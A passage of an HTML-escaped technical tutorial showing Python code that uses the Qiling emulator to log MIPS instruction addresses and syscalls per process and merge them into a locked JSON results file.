class=&quot;n&quot;&gt;binary_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sys_os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;makedirs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Create result file for entire emulation
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;results_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mtd_type&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.json&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Before we start writing data to a file — which is, by the way, not trivial due to the different processes — we need to collect the data. First, we hook on the code level to collect each instruction address in an array. For each instruction, we check for a syscall with the opcode &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0000000c&lt;/code&gt;. The ID of the syscall is stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v0&lt;/code&gt; register in the MIPS architecture. Using this ID, we search for the syscall name in our MIPS syscall table and save this information in an array as well.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;log_syscall_with_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Qiling&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kwargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Get the mips syscall table for translating ids into syscall function names
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mips_syscall_table&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Append every instruction address
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;ins_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ins_address&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ins_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x0c&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# In case of system call
&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;syscall_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;regs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;v0&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# stored syscall id
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;syscall_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscall_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Create syscall element and append it for results file
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;syscall_info&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;syscall_num&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;syscall_name&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall_name&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall_info&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscall_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We want to write this collected information into our file. For example, one could format it as JSON:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;syscalls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;syscall_num&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4004&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;syscall_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;write&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;instruction_addresses&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x4002a0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x4002a4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x4002a8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x4002ac&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this setup, we have a comprehensive overview and collection of all process information. However, we also want to collect data for each process and write it into both an individual file and a summary file. If we implement it just this way, the consequence is that each process will carry the results of the parent process, leading to duplicated entries.&lt;/p&gt;

&lt;p&gt;The idea is to clear the arrays of instructions and syscalls for each new process. The simplest way to achieve this is by using our existing fork hook. When the fork creates a new process, we want to clear these arrays in the child process. This can be done by expanding our fork hook as follows:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        &lt;span class=&quot;c1&quot;&gt;# In case of childprocesses
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;child_processes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# Clear collected information in child cause parent will keep it
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now, we are creating the result file, locking it, creating the JSON object, and writing it to the result file. The challenging part is that each process needs to write into that file after each emulation.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;First, we need to lock the file to ensure no other process can write to it simultaneously.&lt;/li&gt;
  &lt;li&gt;Then, we need to load the data and append the new data to the loaded data.&lt;/li&gt;
  &lt;li&gt;Finally, we write the content back to the result file and unlock it.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generate_result_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
    Generate resultfile for current emulation. Each process will write its result into the file.
    &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Unique path for each emulation
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys_os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ABSOLUTE_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/results/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timestamp&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result_file_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;results_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mtd_type&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.json&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r+&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LOCK_EX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# Load content of the result file
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;JSONDecodeError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# If content is empty, set basic structure
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;blocks&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]}&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Expand instruction address only in case it&apos;s not already in the result file
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;instruction_addresses&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Expand syscall only when it does not exist in result file
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;syscalls&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Write content back to result file and unlock
